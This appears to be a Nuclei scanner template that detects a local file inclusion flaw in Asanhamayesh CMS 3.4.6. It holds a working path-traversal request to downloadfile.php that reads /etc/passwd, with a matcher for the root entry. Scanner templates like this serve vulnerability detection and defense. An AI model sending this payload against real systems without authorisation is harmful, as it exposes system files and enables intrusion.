id: asanhamayesh-lfi

info:
  name: Asanhamayesh CMS 3.4.6 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Asanhamayesh CMS 3.4.6 is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2018030006
    - https://asanhamayesh.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: asanhamayesh,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/downloadfile.php?file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b87babcbc22ce2c098046d60cdce8f519ea8fb4b16c8473c7576763b50f28765022100c0769bcc0a83661bfa93cb12f2ec9de153f7534a1be4ad813ebc20993ac3c9be:922c64590222798bb761d5b6d8e72950